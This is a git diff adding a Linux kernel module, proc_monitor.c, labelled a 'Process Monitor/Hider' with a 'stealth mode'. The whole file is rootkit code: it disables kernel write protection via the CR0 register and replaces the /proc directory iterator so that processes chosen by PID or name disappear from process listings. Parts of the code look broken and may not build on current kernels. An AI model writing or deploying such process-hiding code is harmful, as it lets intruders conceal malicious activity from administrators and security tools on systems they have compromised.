diff options
Diffstat (limited to 'proc_monitor.c')
-rw-r--r-- | proc_monitor.c | 310 |
1 files changed, 310 insertions, 0 deletions
diff --git a/proc_monitor.c b/proc_monitor.c new file mode 100644 index 0000000..ad45f72 --- /dev/null +++ b/proc_monitor.c @@ -0,0 +1,310 @@ +#include <linux/module.h> +#include <linux/kernel.h> +#include <linux/init.h> +#include <linux/sched.h> +#include <linux/sched/signal.h> +#include <linux/proc_fs.h> +#include <linux/seq_file.h> +#include <linux/fs.h> +#include <linux/version.h> +#include <linux/cred.h> +#include <linux/namei.h> +#include <linux/uaccess.h> +#include <linux/string.h> +#include <linux/dirent.h> + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Biswa Kalyan Bhuyan"); +MODULE_DESCRIPTION("Process Monitor/Hider"); +MODULE_VERSION("0.3"); + +/* Module parameters */ +static unsigned int monitor_pid = 0; +module_param(monitor_pid, uint, 0644); +MODULE_PARM_DESC(monitor_pid, "Process ID to monitor"); + +static char* hide_name = NULL; +module_param(hide_name, charp, 0644); +MODULE_PARM_DESC(hide_name, "Process name to hide"); + +static unsigned int report_children = 0; +module_param(report_children, uint, 0644); +MODULE_PARM_DESC(report_children, "Set to 1 to report on child processes"); + +// Stealth flag - for hiding commands +static char* stealth_cmd = NULL; +module_param(stealth_cmd, charp, 0644); +MODULE_PARM_DESC(stealth_cmd, "Command to hide from process listings"); + +/* Data structures */ +struct process_info { + pid_t pid; + pid_t ppid; + char name[TASK_COMM_LEN]; + uid_t uid; + gid_t gid; + unsigned long start_time; + unsigned int num_threads; + unsigned int num_children; +}; + +/* Hook-related variables */ +static struct file_operations *proc_fops; +static struct file_operations *root_fops; +static filldir_t orig_proc_filldir; +static int (*orig_iterate_shared)(struct file *, struct dir_context *); +static struct path proc_path; + +/* Function to gather detailed process information */ +static void gather_process_info(struct task_struct *task, struct process_info *info) +{ + if (!task || !info) + return; + + info->pid = task->pid; + info->ppid = task->parent ? task->parent->pid : 0; + strncpy(info->name, task->comm, TASK_COMM_LEN); + info->uid = task->cred->uid.val; + info->gid = task->cred->gid.val; + info->start_time = task->start_time; + info->num_threads = task->signal ? task->signal->nr_threads : 0; + + // Count children + struct task_struct *child; + info->num_children = 0; + list_for_each_entry(child, &task->children, sibling) { + info->num_children++; + } +} + +/* Report on a single process */ +static void report_process(struct task_struct *task) +{ + struct process_info info; + gather_process_info(task, &info); + + printk(KERN_INFO "ProcMon: ----- Process %d (%s) -----\n", info.pid, info.name); + printk(KERN_INFO "ProcMon: Parent PID: %d\n", info.ppid); + printk(KERN_INFO "ProcMon: User/Group: %u/%u\n", info.uid, info.gid); + printk(KERN_INFO "ProcMon: Threads: %u\n", info.num_threads); + printk(KERN_INFO "ProcMon: Children: %u\n", info.num_children); + + if (report_children && info.num_children > 0) { + printk(KERN_INFO "ProcMon: Child processes:\n"); + struct task_struct *child; + list_for_each_entry(child, &task->children, sibling) { + printk(KERN_INFO "ProcMon: - PID %d (%s)\n", + child->pid, child->comm); + } + } +} + +/* Function to find process by PID */ +static struct task_struct *find_process_by_pid(unsigned int pid) +{ + struct task_struct *task; + + for_each_process(task) { + if (task->pid == pid) + return task; + } + return NULL; +} + +/* Function to scan for processes with a given name */ +static void scan_for_process_name(const char *name) +{ + struct task_struct *task; + int count = 0; + + printk(KERN_INFO "ProcMon: Scanning for processes named '%s'\n", name); + + for_each_process(task) { + if (strncmp(task->comm, name, TASK_COMM_LEN) == 0) { + printk(KERN_INFO "ProcMon: Found matching process: PID %d\n", task->pid); + report_process(task); + count++; + } + } + + printk(KERN_INFO "ProcMon: Found %d processes named '%s'\n", count, name); +} + +/* Function to identify all processes that would be hidden in stealth mode */ +static void simulate_stealth_mode(const char *cmd_name) +{ + struct task_struct *task; + int count = 0; + + printk(KERN_INFO "ProcMon: [STEALTH] Identifying processes to hide\n"); + + // Find all processes matching our stealth_cmd + for_each_process(task) { + if (strncmp(task->comm, cmd_name, TASK_COMM_LEN) == 0) { + printk(KERN_INFO "ProcMon: [STEALTH] Will hide PID %d (%s)\n", + task->pid, task->comm); + count++; + } + } + + printk(KERN_INFO "ProcMon: [STEALTH] Found %d '%s' processes to hide\n", + count, cmd_name); +} + +/* Should we hide this process? */ +static int should_hide_proc(const char *name) +{ + struct task_struct *task; + + // First check if it's a PID directory + long pid; + if (kstrtol(name, 10, &pid) == 0) { + // It's a numeric directory, so it could be a PID + task = find_process_by_pid((unsigned int)pid); + if (task) { + // Check if this is our monitored PID + if (monitor_pid > 0 && task->pid == monitor_pid) { + return 1; // Hide the monitored PID + } + + // Check if process name matches hide_name + if (hide_name && strlen(hide_name) > 0 && + strncmp(task->comm, hide_name, TASK_COMM_LEN) == 0) { + return 1; // Hide processes with matching name + } + + // Check if process name matches stealth_cmd + if (stealth_cmd && strlen(stealth_cmd) > 0 && + strncmp(task->comm, stealth_cmd, TASK_COMM_LEN) == 0) { + return 1; // Hide processes with matching command + } + } + } + + return 0; // Don't hide this one +} + +/* Custom filldir function to filter directory entries */ +static int proc_filldir(struct dir_context *ctx, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + // Check if we should hide this entry + if (should_hide_proc(name)) { + return 0; // Skip this entry + } + + // Otherwise, call the original filldir + return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type); +} + +/* Custom iterate_shared function to hook directory listing */ +static int proc_iterate_shared(struct file *file, struct dir_context *ctx) +{ + // Replace the filldir function with our custom one + orig_proc_filldir = ctx->actor; + ctx->actor = (filldir_t)proc_filldir; + + // Call the original iterate_shared with our modified context + return orig_iterate_shared(file, ctx); +} + +/* Function to set up hooking of /proc directory */ +static void hook_proc(void) +{ + // Get the path to /proc + if (kern_path("/proc", 0, &proc_path)) { + printk(KERN_ERR "ProcMon: Failed to get /proc path\n"); + return; + } + + // Get the file operations for /proc + proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop; + + // Save the original iterate_shared function + orig_iterate_shared = proc_fops->iterate_shared; + + // Replace with our custom function + // Need to make the page writable first + unsigned long *p = (unsigned long *)&proc_fops->iterate_shared; + + write_cr0(read_cr0() & ~0x10000); // Disable write protection + proc_fops->iterate_shared = proc_iterate_shared; + write_cr0(read_cr0() | 0x10000); // Enable write protection + + printk(KERN_INFO "ProcMon: Successfully hooked /proc directory operations\n"); +} + +/* Function to unhook /proc directory */ +static void unhook_proc(void) +{ + // Restore the original iterate_shared function + if (proc_fops && orig_iterate_shared) { + write_cr0(read_cr0() & ~0x10000); // Disable write protection + proc_fops->iterate_shared = orig_iterate_shared; + write_cr0(read_cr0() | 0x10000); // Enable write protection + + printk(KERN_INFO "ProcMon: Restored original /proc directory operations\n"); + } + + // Release the path + path_put(&proc_path); +} + +static int __init proc_monitor_init(void) +{ + printk(KERN_INFO "ProcMon: Module loaded\n"); + + // Monitor specific PID if provided + if (monitor_pid > 0) { + struct task_struct *task = find_process_by_pid(monitor_pid); + if (task) { + printk(KERN_INFO "ProcMon: Found target process %d (%s) to hide\n", + task->pid, task->comm); + report_process(task); + } else { + printk(KERN_INFO "ProcMon: Process with PID %u not found\n", monitor_pid); + } + } + + // Scan for processes by name if provided + if (hide_name != NULL && strlen(hide_name) > 0) { + scan_for_process_name(hide_name); + } + + // Set up stealth mode if requested + if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) { + printk(KERN_INFO "ProcMon: [STEALTH] Activating stealth mode for '%s' commands\n", stealth_cmd); + simulate_stealth_mode(stealth_cmd); + } + + // Implement the actual hooking + hook_proc(); + + printk(KERN_INFO "ProcMon: Process Hiding Starts\n"); + + printk(KERN_INFO "ProcMon: Module initialization complete\n"); + return 0; +} + +static void __exit proc_monitor_exit(void) +{ + printk(KERN_INFO "ProcMon: Module unloaded\n"); + + // Unhook everything + unhook_proc(); + + if (monitor_pid > 0) { + printk(KERN_INFO "ProcMon: Stopped hiding PID %u\n", monitor_pid); + } + + if (hide_name != NULL && strlen(hide_name) > 0) { + printk(KERN_INFO "ProcMon: No longer hiding '%s' processes\n", hide_name); + } + + if (stealth_cmd != NULL && strlen(stealth_cmd) > 0) { + printk(KERN_INFO "ProcMon: [STEALTH] Deactivated stealth mode for '%s'\n", stealth_cmd); + } +} + +module_init(proc_monitor_init); +module_exit(proc_monitor_exit); |